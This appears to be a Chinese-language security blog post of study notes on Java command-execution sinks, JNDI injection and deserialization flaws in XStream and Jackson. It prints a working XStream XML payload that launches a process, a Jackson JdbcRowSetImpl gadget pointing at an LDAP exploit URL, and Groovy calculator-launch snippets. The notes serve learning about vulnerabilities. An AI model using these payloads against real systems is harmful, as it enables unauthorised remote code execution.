JavaSec-RCE&SFJXL&JNDI
RCE
5 大类函数调用
-Groovy
-RuntimeExec
-ProcessImpl
-ProcessBuilder
-ScriptEngineManager
RuntimeExec
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
getRuntime()常用于执行本地命令,使用频率较高。
ScriptEngineManager
1 | // 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行 |
⚠️ 在Java 8之后移除了ScriptEngineManager的eval
Groovy
* windows: “calc”.execute()
* macos: “open -a Calculator”.execute()
1 | // 不安全的使用Groovy调用命令 |
ProcessBuilder
Process类是一个抽象类(所有的方法均是抽象的),封装了一个进程(即一个执行程序)。
Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁(杀掉)进程的方法。
ProcessBuilder.start() 和 Runtime.exec 方法创建一个本机进程,并返回 Process 子类的一个实例,该实例可用来控制进程并获取相关信息。
创建的子进程没有自己的终端或控制台。它的所有标准 io(即 stdin,stdout,stderr)操作都将通过三个流 (getOutputStream(),getInputStream(),getErrorStream()) 重定向到父进程,通过流的形式进行读取。
1 | // new ProcessBuilder(command).start() |
ProcessImpl
1 | // ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类 |
JNDI
JAVA-JNDI&RMI&LDAP - Fc04dB’s BLOG
[浅析JNDI注入 Mi1k7ea ]
不安全组件
JAVA-Log4j&FastJson&JNDI - Fc04dB’s BLOG
Shiro
Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理。
XStream
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>
Jackson
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,
攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]
- Title: JavaSec-RCE&SFJXL&JNDI
- Author: Fc04dB
- Created at : 2024-09-11 22:05:29
- Updated at : 2024-09-12 00:39:27
- Link: https://redefine.ohevan.com/2024/09/11/JavaSec-RCE-SFJXL-JNDI/
- License: This work is licensed under CC BY-NC-SA 4.0.